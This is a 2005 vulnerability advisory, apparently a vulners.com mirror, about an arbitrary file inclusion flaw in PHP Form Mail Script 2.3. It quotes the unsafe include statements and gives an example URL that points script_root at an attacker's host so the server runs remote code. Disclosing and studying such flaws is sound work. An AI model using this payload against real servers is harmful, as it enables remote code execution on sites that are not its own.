PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)

2005-03-0500:00:00

vulners.com

– == – == – == – == – == – == – == – == – == –
Name: Form Mail Script (FS)
Version: <= 2.3 (free/commercial)
Homepage: http://www.stadtaus.com/

Author: Filip Groszynski (VXSfx)
Date: 4 March 2005
– == – == – == – == – == – == – == – == – == –

Vulnerable code in inc/formmail.inc.php:

…
/*****************************************************
** Include functions
*****************************************************/
include $script_root . 'inc/functions.inc.php';
include $script_root . 'inc/template.class.inc.php';
include $script_root . 'inc/template.ext.class.inc.php';
include $script_root . 'inc/formmail.class.inc.php';
…
include $script_root . 'languages/language.' . $language . '.inc.php';
…

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

Fix and Vendor status:

Vendor has been notified.

Contact:

Author:    Filip Groszynski   &lt;VXSfx&gt;
Location:  Poland &lt;Warsaw&gt;
Email:     groszynskif &lt;at&gt; gmail &lt;dot&gt; com
HP:        http://shell.homeunix.org

– == – == – == – == – == – == – == – == – == –

JSON

PHP Form Mail Script &#40;2.3&#41; - Arbitrary File Inclusion &#40;VXSfx&#41;

PHP Form Mail Script (2.3) - Arbitrary File Inclusion (VXSfx)